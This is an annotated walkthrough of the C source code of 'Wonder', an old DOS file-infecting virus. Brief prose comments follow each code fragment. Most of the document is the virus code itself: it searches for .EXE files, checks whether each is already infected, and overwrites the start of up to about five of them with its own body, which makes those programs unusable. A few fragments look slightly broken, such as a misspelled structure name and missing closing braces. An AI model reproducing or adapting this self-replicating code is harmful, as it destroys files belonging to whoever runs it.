

Wonder slowly infects files on the system rather than spreading to new boxes. Although primitive, the virus renders .EXE files useless by copying itself into these files. When the user tries to execute an infected file, the virus code is instead run, infecting more files.

```
#include <dos.h>
#include <dir.h>
#include <stdio.h>
```

This is the size of the virus.

```
#define V_SIZE 7424
```

```
int n_inf=0;
```

```
void resume(void);
void inf(char *vir, char *filename);
int compare(char *d, char *e);
```

```
void main(int argc, char **argv)
```

```
{
    struct fblk fileinfo;
    char vir[V_SIZE];
    FILE *fp;
    char path[6];
    int b,a=0;
```

```
    argc++;
```

```
    if((fp=fopen(argv[0],"rb"))==NULL) resume();
    fread(vir,sizeof(char),V_SIZE,fp);
    fclose(fp);
```

This copies the virus code, itself, into memory.

```
    path[0]='*'; path[1]='.'; path[2]='E'; path[3]='X'; path[4]='E'; path[5]=NULL;
```

```
    if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume();
    inf(vir,fileinfo.ff_name);
```

Look for a new file, if none is found, exit. Otherwise, infect it.

```
    do {
        if(findnext(&fileinfo)!=0) a=1;
        else inf(vir,fileinfo.ff_name);
        if((a==1) || (n_inf>4)) b=1;
    } while (b!=1);
    resume();
```

Continue looking for a new file to infect.

Exit the program if no new file is found or more than 4 files have been infected.

```
void inf(char *vir, char *filename)
```

```
{
    FILE *fp;
    char checkinf[V_SIZE];
```

```
    if((fp=fopen(filename,"rb+"))==NULL) resume();
    fread(checkinf,sizeof(char),V_SIZE,fp);
    if(compare(vir,checkinf)==0) return;
    fseek(fp,0L,SEEK_SET);
    fwrite(vir,sizeof(char),V_SIZE,fp);
    fclose(fp);
    n_inf++;
```

Open the file to be infected. Then, see if it is infected yet. If it is, do nothing.

This is where the file is overwritten with the virus code.

```
int compare(char *d, char *e)
```

```
{
    int a;

    for(a=0;a<V_SIZE;a++) if(d[a]!=e[a]) return(1);
    return(0);
}
```

Compare the first V\_SIZE (virus size) bytes of the found file to the virus code to see if they are the same.

```
void resume(void)
{
    exit(0);
}
```